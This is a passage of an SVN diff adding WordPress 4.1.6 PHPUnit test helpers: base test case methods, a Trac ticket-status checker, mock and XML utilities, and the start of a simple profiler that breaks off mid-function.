+		$wpdb->query( 'START TRANSACTION;' );
+		add_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		add_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+	}
+
+	/**
+	 * Commit the queries in a transaction.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function commit_transaction() {
+		global $wpdb;
+		$wpdb->query( 'COMMIT;' );
+	}
+
+	function _create_temporary_tables( $query ) {
+		if ( 'CREATE TABLE' === substr( trim( $query ), 0, 12 ) )
+			return substr_replace( trim( $query ), 'CREATE TEMPORARY TABLE', 0, 12 );
+		return $query;
+	}
+
+	function _drop_temporary_tables( $query ) {
+		if ( 'DROP TABLE' === substr( trim( $query ), 0, 10 ) )
+			return substr_replace( trim( $query ), 'DROP TEMPORARY TABLE', 0, 10 );
+		return $query;
+	}
+
+	function get_wp_die_handler( $handler ) {
+		return array( $this, 'wp_die_handler' );
+	}
+
+	function wp_die_handler( $message ) {
+		throw new WPDieException( $message );
+	}
+
+	function expectDeprecated() {
+		$annotations = $this->getAnnotations();
+		foreach ( array( 'class', 'method' ) as $depth ) {
+			if ( ! empty( $annotations[ $depth ]['expectedDeprecated'] ) )
+				$this->expected_deprecated = array_merge( $this->expected_deprecated, $annotations[ $depth ]['expectedDeprecated'] );
+			if ( ! empty( $annotations[ $depth ]['expectedIncorrectUsage'] ) )
+				$this->expected_doing_it_wrong = array_merge( $this->expected_doing_it_wrong, $annotations[ $depth ]['expectedIncorrectUsage'] );
+		}
+		add_action( 'deprecated_function_run', array( $this, 'deprecated_function_run' ) );
+		add_action( 'deprecated_argument_run', array( $this, 'deprecated_function_run' ) );
+		add_action( 'doing_it_wrong_run', array( $this, 'doing_it_wrong_run' ) );
+		add_action( 'deprecated_function_trigger_error', '__return_false' );
+		add_action( 'deprecated_argument_trigger_error', '__return_false' );
+		add_action( 'doing_it_wrong_trigger_error',      '__return_false' );
+	}
+
+	function expectedDeprecated() {
+		$not_caught_deprecated = array_diff( $this->expected_deprecated, $this->caught_deprecated );
+		foreach ( $not_caught_deprecated as $not_caught ) {
+			$this->fail( "Failed to assert that $not_caught triggered a deprecated notice" );
+		}
+
+		$unexpected_deprecated = array_diff( $this->caught_deprecated, $this->expected_deprecated );
+		foreach ( $unexpected_deprecated as $unexpected ) {
+			$this->fail( "Unexpected deprecated notice for $unexpected" );
+		}
+
+		$not_caught_doing_it_wrong = array_diff( $this->expected_doing_it_wrong, $this->caught_doing_it_wrong );
+		foreach ( $not_caught_doing_it_wrong as $not_caught ) {
+			$this->fail( "Failed to assert that $not_caught triggered an incorrect usage notice" );
+		}
+
+		$unexpected_doing_it_wrong = array_diff( $this->caught_doing_it_wrong, $this->expected_doing_it_wrong );
+		foreach ( $unexpected_doing_it_wrong as $unexpected ) {
+			$this->fail( "Unexpected incorrect usage notice for $unexpected" );
+		}
+	}
+
+	function deprecated_function_run( $function ) {
+		if ( ! in_array( $function, $this->caught_deprecated ) )
+			$this->caught_deprecated[] = $function;
+	}
+
+	function doing_it_wrong_run( $function ) {
+		if ( ! in_array( $function, $this->caught_doing_it_wrong ) )
+			$this->caught_doing_it_wrong[] = $function;
+	}
+
+	function assertWPError( $actual, $message = '' ) {
+		$this->assertInstanceOf( 'WP_Error', $actual, $message );
+	}
+
+	function assertEqualFields( $object, $fields ) {
+		foreach( $fields as $field_name => $field_value ) {
+			if ( $object->$field_name != $field_value ) {
+				$this->fail();
+			}
+		}
+	}
+
+	function assertDiscardWhitespace( $expected, $actual ) {
+		$this->assertEquals( preg_replace( '/\s*/', '', $expected ), preg_replace( '/\s*/', '', $actual ) );
+	}
+
+	function assertEqualSets( $expected, $actual ) {
+		sort( $expected );
+		sort( $actual );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function assertEqualSetsWithIndex( $expected, $actual ) {
+		ksort( $expected );
+		ksort( $actual );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function go_to( $url ) {
+		// note: the WP and WP_Query classes like to silently fetch parameters
+		// from all over the place (globals, GET, etc), which makes it tricky
+		// to run them more than once without very carefully clearing everything
+		$_GET = $_POST = array();
+		foreach (array('query_string', 'id', 'postdata', 'authordata', 'day', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages', 'pagenow') as $v) {
+			if ( isset( $GLOBALS[$v] ) ) unset( $GLOBALS[$v] );
+		}
+		$parts = parse_url($url);
+		if (isset($parts['scheme'])) {
+			$req = $parts['path'];
+			if (isset($parts['query'])) {
+				$req .= '?' . $parts['query'];
+				// parse the url query vars into $_GET
+				parse_str($parts['query'], $_GET);
+			}
+		} else {
+			$req = $url;
+		}
+		if ( ! isset( $parts['query'] ) ) {
+			$parts['query'] = '';
+		}
+
+		$_SERVER['REQUEST_URI'] = $req;
+		unset($_SERVER['PATH_INFO']);
+
+		$this->flush_cache();
+		unset($GLOBALS['wp_query'], $GLOBALS['wp_the_query']);
+		$GLOBALS['wp_the_query'] = new WP_Query();
+		$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+		$GLOBALS['wp'] = new WP();
+		_cleanup_query_vars();
+
+		$GLOBALS['wp']->main($parts['query']);
+	}
+
+	protected function checkRequirements() {
+		parent::checkRequirements();
+
+		// Core tests no longer check against open Trac tickets, but others using WP_UnitTestCase may do so.
+		if ( defined( 'WP_RUN_CORE_TESTS' ) && WP_RUN_CORE_TESTS ) {
+			return;
+		}
+
+		if ( WP_TESTS_FORCE_KNOWN_BUGS )
+			return;
+		$tickets = PHPUnit_Util_Test::getTickets( get_class( $this ), $this->getName( false ) );
+		foreach ( $tickets as $ticket ) {
+			if ( is_numeric( $ticket ) ) {
+				$this->knownWPBug( $ticket );
+			} elseif ( 'UT' == substr( $ticket, 0, 2 ) ) {
+				$ticket = substr( $ticket, 2 );
+				if ( $ticket && is_numeric( $ticket ) )
+					$this->knownUTBug( $ticket );
+			} elseif ( 'Plugin' == substr( $ticket, 0, 6 ) ) {
+				$ticket = substr( $ticket, 6 );
+				if ( $ticket && is_numeric( $ticket ) )
+					$this->knownPluginBug( $ticket );
+			}
+		}
+	}
+
+	/**
+	 * Skips the current test if there is an open WordPress ticket with id $ticket_id
+	 */
+	function knownWPBug( $ticket_id ) {
+		if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( $ticket_id, self::$forced_tickets ) )
+			return;
+		if ( ! TracTickets::isTracTicketClosed( 'https://core.trac.wordpress.org', $ticket_id ) )
+			$this->markTestSkipped( sprintf( 'WordPress Ticket #%d is not fixed', $ticket_id ) );
+	}
+
+	/**
+	 * Skips the current test if there is an open unit tests ticket with id $ticket_id
+	 */
+	function knownUTBug( $ticket_id ) {
+		if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'UT' . $ticket_id, self::$forced_tickets ) )
+			return;
+		if ( ! TracTickets::isTracTicketClosed( 'https://unit-tests.trac.wordpress.org', $ticket_id ) )
+			$this->markTestSkipped( sprintf( 'Unit Tests Ticket #%d is not fixed', $ticket_id ) );
+	}
+
+	/**
+	 * Skips the current test if there is an open plugin ticket with id $ticket_id
+	 */
+	function knownPluginBug( $ticket_id ) {
+		if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'Plugin' . $ticket_id, self::$forced_tickets ) )
+			return;
+		if ( ! TracTickets::isTracTicketClosed( 'https://plugins.trac.wordpress.org', $ticket_id ) )
+			$this->markTestSkipped( sprintf( 'WordPress Plugin Ticket #%d is not fixed', $ticket_id ) );
+	}
+
+	public static function forceTicket( $ticket ) {
+		self::$forced_tickets[] = $ticket;
+	}
+
+	/**
+	 * Define constants after including files.
+	 */
+	function prepareTemplate( Text_Template $template ) {
+		$template->setVar( array( 'constants' => '' ) );
+		$template->setVar( array( 'wp_constants' => PHPUnit_Util_GlobalState::getConstantsAsString() ) );
+		parent::prepareTemplate( $template );
+	}
+
+	/**
+	 * Returns the name of a temporary file
+	 */
+	function temp_filename() {
+		$tmp_dir = '';
+		$dirs = array( 'TMP', 'TMPDIR', 'TEMP' );
+		foreach( $dirs as $dir )
+			if ( isset( $_ENV[$dir] ) && !empty( $_ENV[$dir] ) ) {
+				$tmp_dir = $dir;
+				break;
+			}
+		if ( empty( $tmp_dir ) ) {
+			$tmp_dir = '/tmp';
+		}
+		$tmp_dir = realpath( $tmp_dir );
+		return tempnam( $tmp_dir, 'wpunit' );
+	}
+
+	/**
+	 * Check each of the WP_Query is_* functions/properties against expected boolean value.
+	 *
+	 * Any properties that are listed by name as parameters will be expected to be true; any others are
+	 * expected to be false. For example, assertQueryTrue('is_single', 'is_feed') means is_single()
+	 * and is_feed() must be true and everything else must be false to pass.
+	 *
+	 * @param string $prop,... Any number of WP_Query properties that are expected to be true for the current request.
+	 */
+	function assertQueryTrue(/* ... */) {
+		global $wp_query;
+		$all = array(
+			'is_single', 'is_preview', 'is_page', 'is_archive', 'is_date', 'is_year', 'is_month', 'is_day', 'is_time',
+			'is_author', 'is_category', 'is_tag', 'is_tax', 'is_search', 'is_feed', 'is_comment_feed', 'is_trackback',
+			'is_home', 'is_404', 'is_comments_popup', 'is_paged', 'is_admin', 'is_attachment', 'is_singular', 'is_robots',
+			'is_posts_page', 'is_post_type_archive',
+		);
+		$true = func_get_args();
+
+		$passed = true;
+		$not_false = $not_true = array(); // properties that were not set to expected values
+
+		foreach ( $all as $query_thing ) {
+			$result = is_callable( $query_thing ) ? call_user_func( $query_thing ) : $wp_query->$query_thing;
+
+			if ( in_array( $query_thing, $true ) ) {
+				if ( ! $result ) {
+					array_push( $not_true, $query_thing );
+					$passed = false;
+				}
+			} else if ( $result ) {
+				array_push( $not_false, $query_thing );
+				$passed = false;
+			}
+		}
+
+		$message = '';
+		if ( count($not_true) )
+			$message .= implode( $not_true, ', ' ) . ' should be true. ';
+		if ( count($not_false) )
+			$message .= implode( $not_false, ', ' ) . ' should be false.';
+		$this->assertTrue( $passed, $message );
+	}
+
+	function unlink( $file ) {
+		$exists = is_file( $file );
+		if ( $exists && ! in_array( $file, self::$ignore_files ) ) {
+			//error_log( $file );
+			unlink( $file );
+		} elseif ( ! $exists ) {
+			$this->fail( "Trying to delete a file that doesn't exist: $file" );
+		}
+	}
+
+	function rmdir( $path ) {
+		$files = $this->files_in_dir( $path );
+		foreach ( $files as $file ) {
+			if ( ! in_array( $file, self::$ignore_files ) ) {
+				$this->unlink( $file );
+			}
+		}
+	}
+
+	function remove_added_uploads() {
+		// Remove all uploads.
+		$uploads = wp_upload_dir();
+		$this->rmdir( $uploads['basedir'] );
+	}
+
+	function files_in_dir( $dir ) {
+		$files = array();
+
+		$iterator = new RecursiveDirectoryIterator( $dir );
+		$objects = new RecursiveIteratorIterator( $iterator );
+		foreach ( $objects as $name => $object ) {
+			if ( is_file( $name ) ) {
+				$files[] = $name;
+			}
+		}
+
+		return $files;
+	}
+
+	function scan_user_uploads() {
+		static $files = array();
+		if ( ! empty( $files ) ) {
+			return $files;
+		}
+
+		$uploads = wp_upload_dir();
+		$files = $this->files_in_dir( $uploads['basedir'] );
+		return $files;
+	}
+
+	function delete_folders( $path ) {
+		$this->matched_dirs = array();
+		if ( ! is_dir( $path ) ) {
+			return;
+		}
+
+		$this->scandir( $path );
+		foreach ( array_reverse( $this->matched_dirs ) as $dir ) {
+			rmdir( $dir );
+		}
+		rmdir( $path );
+	}
+
+	function scandir( $dir ) {
+		foreach ( scandir( $dir ) as $path ) {
+			if ( 0 !== strpos( $path, '.' ) && is_dir( $dir . '/' . $path ) ) {
+				$this->matched_dirs[] = $dir . '/' . $path;
+				$this->scandir( $dir . '/' . $path );
+			}
+		}
+	}
+
+	/**
+	 * Helper to Convert a microtime string into a float
+	 */
+	protected function _microtime_to_float($microtime ){
+		$time_array = explode( ' ', $microtime );
+		return array_sum( $time_array );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/trac.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/trac.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/trac.php	(revision 33402)
@@ -0,0 +1,58 @@
+<?php
+
+class TracTickets {
+	/**
+	 * When open tickets for a Trac install is requested, the results are stored here.
+	 *
+	 * @var array
+	 */
+	protected static $trac_ticket_cache = array();
+
+	/**
+	 * Checks if track ticket #$ticket_id is resolved
+	 *
+	 * @return bool|null true if the ticket is resolved, false if not resolved, null on error
+	 */
+	public static function isTracTicketClosed( $trac_url, $ticket_id ) {
+		if ( ! extension_loaded( 'openssl' ) ) {
+			$trac_url = preg_replace( "/^https:/", "http:", $trac_url );
+		}
+
+		if ( ! isset( self::$trac_ticket_cache[ $trac_url ] ) ) {
+			// In case you're running the tests offline, keep track of open tickets.
+			$file = DIR_TESTDATA . '/.trac-ticket-cache.' . str_replace( array( 'http://', 'https://', '/' ), array( '', '', '-' ), rtrim( $trac_url, '/' ) );
+			$tickets = @file_get_contents( $trac_url . '/query?status=%21closed&format=csv&col=id' );
+			// Check if our HTTP request failed.
+			if ( false === $tickets ) {
+				if ( file_exists( $file ) ) {
+					register_shutdown_function( array( 'TracTickets', 'usingLocalCache' ) );
+					$tickets = file_get_contents( $file );
+				} else {
+					register_shutdown_function( array( 'TracTickets', 'forcingKnownBugs' ) );
+					self::$trac_ticket_cache[ $trac_url ] = array();
+					return true; // Assume the ticket is closed, which means it gets run.
+				}
+			} else {
+				$tickets = substr( $tickets, 2 ); // remove 'id' column header
+				$tickets = trim( $tickets );
+				file_put_contents( $file, $tickets );
+			}
+			$tickets = explode( "\r\n", $tickets );
+			self::$trac_ticket_cache[ $trac_url ] = $tickets;
+		}
+
+		return ! in_array( $ticket_id, self::$trac_ticket_cache[ $trac_url ] );
+	}
+
+	public static function usingLocalCache() {
+		echo PHP_EOL . "\x1b[0m\x1b[30;43m\x1b[2K";
+		echo 'INFO: Trac was inaccessible, so a local ticket status cache was used.' . PHP_EOL;
+		echo "\x1b[0m\x1b[2K";
+	}
+
+	public static function forcingKnownBugs() {
+		echo PHP_EOL . "\x1b[0m\x1b[37;41m\x1b[2K";
+		echo "ERROR: Trac was inaccessible, so known bugs weren't able to be skipped." . PHP_EOL;
+		echo "\x1b[0m\x1b[2K";
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/utils.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/utils.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/utils.php	(revision 33402)
@@ -0,0 +1,374 @@
+<?php
+
+// misc help functions and utilities
+
+function rand_str($len=32) {
+	return substr(md5(uniqid(rand())), 0, $len);
+}
+
+// strip leading and trailing whitespace from each line in the string
+function strip_ws($txt) {
+	$lines = explode("\n", $txt);
+	$result = array();
+	foreach ($lines as $line)
+		if (trim($line))
+			$result[] = trim($line);
+
+	return trim(join("\n", $result));
+}
+
+// helper class for testing code that involves actions and filters
+// typical use:
+// $ma = new MockAction();
+// add_action('foo', array(&$ma, 'action'));
+class MockAction {
+	var $events;
+	var $debug;
+
+	function MockAction($debug=0) {
+		$this->reset();
+		$this->debug = $debug;
+	}
+
+	function reset() {
+		$this->events = array();
+	}
+
+	function current_filter() {
+		if (is_callable('current_filter'))
+			return current_filter();
+		global $wp_actions;
+		return end($wp_actions);
+	}
+
+	function action($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+		$args = func_get_args();
+		$this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function action2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter_append($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg . '_append';
+	}
+
+	function filterall($tag, $arg=NULL) {
+	// this one doesn't return the result, so it's safe to use with the new 'all' filter
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$tag, 'args'=>array_slice($args, 1));
+	}
+
+	// return a list of all the actions, tags and args
+	function get_events() {
+		return $this->events;
+	}
+
+	// return a count of the number of times the action was called since the last reset
+	function get_call_count($tag='') {
+		if ($tag) {
+			$count = 0;
+			foreach ($this->events as $e)
+				if ($e['action'] == $tag)
+					++$count;
+			return $count;
+		}
+		return count($this->events);
+	}
+
+	// return an array of the tags that triggered calls to this action
+	function get_tags() {
+		$out = array();
+		foreach ($this->events as $e) {
+			$out[] = $e['tag'];
+		}
+		return $out;
+	}
+
+	// return an array of args passed in calls to this action
+	function get_args() {
+		$out = array();
+		foreach ($this->events as $e)
+			$out[] = $e['args'];
+		return $out;
+	}
+}
+
+// convert valid xml to an array tree structure
+// kinda lame but it works with a default php 4 install
+class testXMLParser {
+	var $xml;
+	var $data = array();
+
+	function testXMLParser($in) {
+		$this->xml = xml_parser_create();
+		xml_set_object($this->xml, $this);
+		xml_parser_set_option($this->xml,XML_OPTION_CASE_FOLDING, 0);
+		xml_set_element_handler($this->xml, array($this, 'startHandler'), array($this, 'endHandler'));
+		xml_set_character_data_handler($this->xml, array($this, 'dataHandler'));
+		$this->parse($in);
+	}
+
+	function parse($in) {
+		$parse = xml_parse($this->xml, $in, sizeof($in));
+		if (!$parse) {
+			trigger_error(sprintf("XML error: %s at line %d",
+			xml_error_string(xml_get_error_code($this->xml)),
+			xml_get_current_line_number($this->xml)), E_USER_ERROR);
+			xml_parser_free($this->xml);
+		}
+		return true;
+	}
+
+	function startHandler($parser, $name, $attributes) {
+		$data['name'] = $name;
+		if ($attributes) { $data['attributes'] = $attributes; }
+		$this->data[] = $data;
+	}
+
+	function dataHandler($parser, $data) {
+		$index = count($this->data) - 1;
+		@$this->data[$index]['content'] .= $data;
+	}
+
+	function endHandler($parser, $name) {
+		if (count($this->data) > 1) {
+			$data = array_pop($this->data);
+			$index = count($this->data) - 1;
+			$this->data[$index]['child'][] = $data;
+		}
+	}
+}
+
+function xml_to_array($in) {
+	$p = new testXMLParser($in);
+	return $p->data;
+}
+
+function xml_find($tree /*, $el1, $el2, $el3, .. */) {
+	$a = func_get_args();
+	$a = array_slice($a, 1);
+	$n = count($a);
+	$out = array();
+
+	if ($n < 1)
+		return $out;
+
+	for ($i=0; $i<count($tree); $i++) {
+#		echo "checking '{$tree[$i][name]}' == '{$a[0]}'\n";
+#		var_dump($tree[$i]['name'], $a[0]);
+		if ($tree[$i]['name'] == $a[0]) {
+#			echo "n == {$n}\n";
+			if ($n == 1)
+				$out[] = $tree[$i];
+			else {
+				$subtree =& $tree[$i]['child'];
+				$call_args = array($subtree);
+				$call_args = array_merge($call_args, array_slice($a, 1));
+				$out = array_merge($out, call_user_func_array('xml_find', $call_args));
+			}
+		}
+	}
+
+	return $out;
+}
+
+function xml_join_atts($atts) {
+	$a = array();
+	foreach ($atts as $k=>$v)
+		$a[] = $k.'="'.$v.'"';
+	return join(' ', $a);
+}
+
+function xml_array_dumbdown(&$data) {
+	$out = array();
+
+	foreach (array_keys($data) as $i) {
+		$name = $data[$i]['name'];
+		if (!empty($data[$i]['attributes']))
+			$name .= ' '.xml_join_atts($data[$i]['attributes']);
+
+		if (!empty($data[$i]['child'])) {
+			$out[$name][] = xml_array_dumbdown($data[$i]['child']);
+		}
+		else
+			$out[$name] = $data[$i]['content'];
+	}
+
+	return $out;
+}
+
+function dmp() {
+	$args = func_get_args();
+
+	foreach ($args as $thing)
+		echo (is_scalar($thing) ? strval($thing) : var_export($thing, true)), "\n";
+}
+
+function dmp_filter($a) {
+	dmp($a);
+	return $a;
+}
+
+function get_echo($callable, $args = array()) {
+	ob_start();
+	call_user_func_array($callable, $args);
+	return ob_get_clean();
+}
+
+// recursively generate some quick assertEquals tests based on an array
+function gen_tests_array($name, $array) {
+	$out = array();
+	foreach ($array as $k=>$v) {
+		if (is_numeric($k))
+			$index = strval($k);
+		else
+			$index = "'".addcslashes($k, "\n\r\t'\\")."'";
+
+		if (is_string($v)) {
+			$out[] = '$this->assertEquals( \'' . addcslashes($v, "\n\r\t'\\") . '\', $'.$name.'['.$index.'] );';
+		}
+		elseif (is_numeric($v)) {
+			$out[] = '$this->assertEquals( ' . $v . ', $'.$name.'['.$index.'] );';
+		}
+		elseif (is_array($v)) {
+			$out[] = gen_tests_array("{$name}[{$index}]", $v);
+		}
+	}
+	return join("\n", $out)."\n";
+}
+
+/**
+ * Use to create objects by yourself
+ */
+class MockClass {};
+
+/**
+ * Drops all tables from the WordPress database
+ */
+function drop_tables() {
+	global $wpdb;
+	$tables = $wpdb->get_col('SHOW TABLES;');
+	foreach ($tables as $table)
+		$wpdb->query("DROP TABLE IF EXISTS {$table}");
+}
+
+function print_backtrace() {
+	$bt = debug_backtrace();
+	echo "Backtrace:\n";
+	$i = 0;
+	foreach ($bt as $stack) {
+		echo ++$i, ": ";
+		if ( isset($stack['class']) )
+			echo $stack['class'].'::';
+		if ( isset($stack['function']) )
+			echo $stack['function'].'() ';
+		echo "line {$stack[line]} in {$stack[file]}\n";
+	}
+	echo "\n";
+}
+
+// mask out any input fields matching the given name
+function mask_input_value($in, $name='_wpnonce') {
+	return preg_replace('@<input([^>]*) name="'.preg_quote($name).'"([^>]*) value="[^>]*" />@', '<input$1 name="'.preg_quote($name).'"$2 value="***" />', $in);
+}
+
+if ( !function_exists( 'str_getcsv' ) ) {
+	function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = "\\" ) {
+		$fp = fopen( 'php://temp/', 'r+' );
+		fputs( $fp, $input );
+		rewind( $fp );
+		$data = fgetcsv( $fp, strlen( $input ), $delimiter, $enclosure );
+		fclose( $fp );
+		return $data;
+	}
+}
+
+/**
+ * Removes the post type and its taxonomy associations.
+ */
+function _unregister_post_type( $cpt_name ) {
+	unset( $GLOBALS['wp_post_types'][ $cpt_name ] );
+	unset( $GLOBALS['_wp_post_type_features'][ $cpt_name ] );
+
+	foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy ) {
+		if ( false !== $key = array_search( $cpt_name, $taxonomy->object_type ) ) {
+			unset( $taxonomy->object_type[$key] );
+		}
+	}
+}
+
+function _unregister_taxonomy( $taxonomy_name ) {
+	unset( $GLOBALS['wp_taxonomies'][$taxonomy_name] );
+}
+
+function _cleanup_query_vars() {
+	// clean out globals to stop them polluting wp and wp_query
+	foreach ( $GLOBALS['wp']->public_query_vars as $v )
+		unset( $GLOBALS[$v] );
+
+	foreach ( $GLOBALS['wp']->private_query_vars as $v )
+		unset( $GLOBALS[$v] );
+
+	foreach ( get_taxonomies( array() , 'objects' ) as $t ) {
+		if ( ! empty( $t->query_var ) )
+			$GLOBALS['wp']->add_query_var( $t->query_var );
+	}
+
+	foreach ( get_post_types( array() , 'objects' ) as $t ) {
+		if ( ! empty( $t->query_var ) )
+			$GLOBALS['wp']->add_query_var( $t->query_var );
+	}
+}
+
+function _clean_term_filters() {
+	remove_filter( 'get_terms',     array( 'Featured_Content', 'hide_featured_term'     ), 10, 2 );
+	remove_filter( 'get_the_terms', array( 'Featured_Content', 'hide_the_featured_term' ), 10, 3 );
+}
+
+/**
+ * Special class for exposing protected wpdb methods we need to access
+ */
+class wpdb_exposed_methods_for_testing extends wpdb {
+	public function __construct() {
+		global $wpdb;
+		$this->dbh = $wpdb->dbh;
+		$this->use_mysqli = $wpdb->use_mysqli;
+		$this->ready = true;
+		$this->field_types = $wpdb->field_types;
+		$this->charset = $wpdb->charset;
+	}
+
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/includes/wp-profiler.php
===================================================================
--- /tags/4.1.6/tests/phpunit/includes/wp-profiler.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/includes/wp-profiler.php	(revision 33402)
@@ -0,0 +1,216 @@
+<?php
+
+/*
+A simple manually-instrumented profiler for WordPress.
+
+This records basic execution time, and a summary of the actions and SQL queries run within each block.
+
+start() and stop() must be called in pairs, for example:
+
+function something_to_profile() {
+	wppf_start(__FUNCTION__);
+	do_stuff();
+	wppf_stop();
+}
+
+Multiple profile blocks are permitted, and they may be nested.
+
+*/
+
+class WPProfiler {
+	var $stack;
+	var $profile;
+
+	// constructor
+	function WPProfiler() {
+		$this->stack = array();
+		$this->profile = array();
+	}
+
+	function start($name) {
+		$time = $this->microtime();
+
+		if (!$this->stack) {
+			// log all actions and filters
+			add_filter('all', array($this, 'log_filter'));
+		}
+
+		// reset the wpdb queries log, storing it on the profile stack if necessary
+		global $wpdb;
+		if ($this->stack) {
+			$this->stack[count($this->stack)-1]['queries'] = $wpdb->queries;
+		}
+		$wpdb->queries = array();
+
+		global $wp_object_cache;
+
+		$this->stack[] = array(
+			'start' => $time,
+			'name' => $name,
+			'cache_cold_hits' => $wp_object_cache->cold_cache_hits,
+			'cache_warm_hits' => $wp_object_cache->warm_cache_hits,
+			'cache_misses' => $wp_object_cache->cache_misses,
+			'cache_dirty_objects' => $this->_dirty_objects_count($wp_object_cache->dirty_objects),
+			'actions' => array(),
+			'filters' => array(),
+			'queries' => array(),
+		);
+
+	}
+
+	function stop() {
+		$item = array_pop($this->stack);
+		$time = $this->microtime($item['start']);
+		$name = $item['name'];
+
+		global $wpdb;
+		$item['queries'] = $wpdb->queries;
+		global $wp_object_cache;
+
+		$cache_dirty_count = $this->_dirty_objects_count($wp_object_cache->dirty_objects);
+		$cache_dirty_delta = $this->array_sub($cache_dirty_count, $item['cache_dirty_objects']);
+
+		if (isset($this->profile[$name])) {
+			$this->profile[$name]['time'] += $time;
+			$this->profile[$name]['calls'] ++;
+			$this->profile[$name]['cache_cold_hits'] += ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']);
+			$this->profile[$name]['cache_warm_hits'] += ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']);
+			$this->profile[$name]['cache_misses'] += ($wp_object_cache->cache_misses - $item['cache_misses']);
+			$this->profile[$name]['cache_dirty_objects'] = array_add( $this->profile[$name]['cache_dirty_objects'], $cache_dirty_delta) ;
+			$this->profile[$name]['actions'] = array_add( $this->profile[$name]['actions'], $item['actions'] );
+			$this->profile[$name]['filters'] = array_add( $this->profile[$name]['filters'], $item['filters'] );
+			$this->profile[$name]['queries'] = array_add( $this->profile[$name]['queries'], $item['queries'] );
+			#$this->_query_summary($item['queries'], $this->profile[$name]['queries']);
+
+		}
+		else {
+			$queries = array();
+			$this->_query_summary($item['queries'], $queries);
+			$this->profile[$name] = array(
+				'time' => $time,
+				'calls' => 1,
+				'cache_cold_hits' => ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']),
+				'cache_warm_hits' => ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']),
+				'cache_misses' => ($wp_object_cache->cache_misses - $item['cache_misses']),
+				'cache_dirty_objects' => $cache_dirty_delta,
+				'actions' => $item['actions'],
+				'filters' => $item['filters'],
+#				'queries' => $item['queries'],
+				'queries' => $queries,
+			);
+		}
+
+		if (!$this->stack) {
+			remove_filter('all', array($this, 'log_filter'));
+		}
+	}
+
+	function microtime($since = 0.0) {
+		list($usec, $sec) = explode(' ', microtime());
+		return (float)$sec + (float)$usec - $since;
+	}
+
+	function log_filter($tag) {
+		if ($this->stack) {
+			global $wp_actions;
+			if ($tag == end($wp_actions))
+				@$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+			else
+				@$this->stack[count($this->stack)-1]['filters'][$tag] ++;
+		}
+		return $arg;
+	}
+
+	function log_action($tag) {
+		if ($this->stack)
+			@$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+	}
+
+	function _current_action() {
+		global $wp_actions;
+		return $wp_actions[count($wp_actions)-1];
+	}
+
+	function results() {
+		return $this->profile;
+	}
+
+	function _query_summary($queries, &$out) {
+		foreach ($queries as $q) {
+			$sql = $q[0];
+			$sql = preg_replace('/(WHERE \w+ =) \d+/', '$1 x', $sql);
+			$sql = preg_replace('/(WHERE \w+ =) \'\[-\w]+\'/', '$1 \'xxx\'', $sql);
+
+			@$out[$sql] ++;
+		}
+		asort($out);
+		return;
+	}
+
+	function _query_count($queries) {
+		// this requires the savequeries patch at https://core.trac.wordpress.org/ticket/5218
+		$out = array();
+		foreach ($queries as $q) {
+			if (empty($q[2]))
+				@$out['unknown'] ++;
+			else
+				@$out[$q[2]] ++;
+		}
+		return $out;
+	}
+
+	function _dirty_objects_count($dirty_objects) {
+		$out = array();
+		foreach (array_keys($dirty_objects) as $group)
+			$out[$group] = count($dirty_objects[$group]);
+		return $out;
+	}
+
+	function array_add($a, $b) {
+		$out = $a;
+		foreach (array_keys($b) as $key)
+			if (array_key_exists($key, $out))
+				$out[$key] += $b[$key];
+			else
+				$out[$key] = $b[$key];
+		return $out;
+	}
+
+	function array_sub($a, $b) {
+		$out = $a;
+		foreach (array_keys($b) as $key)
+			if (array_key_exists($key, $b))
+				$out[$key] -= $b[$key];
+		return $out;
+	}
+
+	function print_summary() {
+		$results = $this->results();
+
+		printf("\nname                      calls   time action filter   warm   cold misses  dirty\n");
+		foreach ($results as $name=>$stats) {
